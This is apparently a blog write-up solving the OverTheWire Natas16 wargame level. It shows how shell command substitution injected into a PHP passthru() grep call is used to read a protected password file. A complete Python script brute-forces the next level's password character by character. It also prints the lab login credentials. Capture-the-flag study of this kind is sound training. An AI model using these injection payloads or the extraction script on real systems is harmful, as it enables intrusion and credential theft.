29 Mar 2021 - OverTheWire - Natas
website: http://natas16.natas.labs.overthewire.org/ (password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh)
This challenge is very similar to the one in level 10, but the major difference is that it has a quote around the $key
. See the difference below.
The implementation in Natas10:
passthru("grep -i $key dictionary.txt");
The implementation in this challenge:
passthru("grep -i \"$key\" dictionary.txt");
Because of the quote, all user input will be considered as a whole word to search. Therefore, the method we used in Natas10 will not work any more. However, we can see the implementation still uses the vulnerable API passthru()
. As such, the command injection vulnerability still exists.
To work around it, let’s start with a quick play - feeding the textbox with this input: $(echo hello). The webpage give the output:
hello
hello's
hellos
What we can observe is that, the source code took everything of my input and considered it as a command substitution. Therefore, it executed my command first and then used my command outputs as a keyword to search.
Here comes my final solution:
ch
, we use a command substitution to grep it in the file /etc/natas_webpass/natas17. That is equivalent with an input of $(grep ch /etc/natas_webpass/natas17)
.The final solution is provided below.
#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth
url = 'http://natas16.natas.labs.overthewire.org/?needle='
s = requests.Session()
s.auth = HTTPBasicAuth("natas16", "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh")
passfile17 = '/etc/natas_webpass/natas17'
prefix = 'tested'
def get_password_chars():
filtered = ''
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
print('Looking for password char set...')
for char in chars:
input_text = f'^{prefix}$(grep {char} {passfile17})'
if is_hit(input_text):
filtered += char
print(f'The password contains: {filtered}')
return filtered
def get_password(filtered):
password = ''
for i in range(32):
print(f'Looking for the position {i}...')
for char in filtered:
input_text = f'^{prefix}$(grep ^{password}{char} {passfile17})'
if is_hit(input_text):
password += char
print(password)
break
return password
def is_hit(data):
resp = s.get(f'{url}{data}')
return resp and prefix not in resp.text
# Step 1: Find out what chars the password contains
password_chars = get_password_chars()
# Step 2: Find out the password by ordering the chars found in step 1
password = get_password(password_chars)
print(f'The password is: {password}')
«Prev | More About | Next» |
---|---|---|
Natas15 - SQL Injection Part 2 (Blind SQL Injection) | OverTheWire - Natas | Inter-process communication - Part 1 |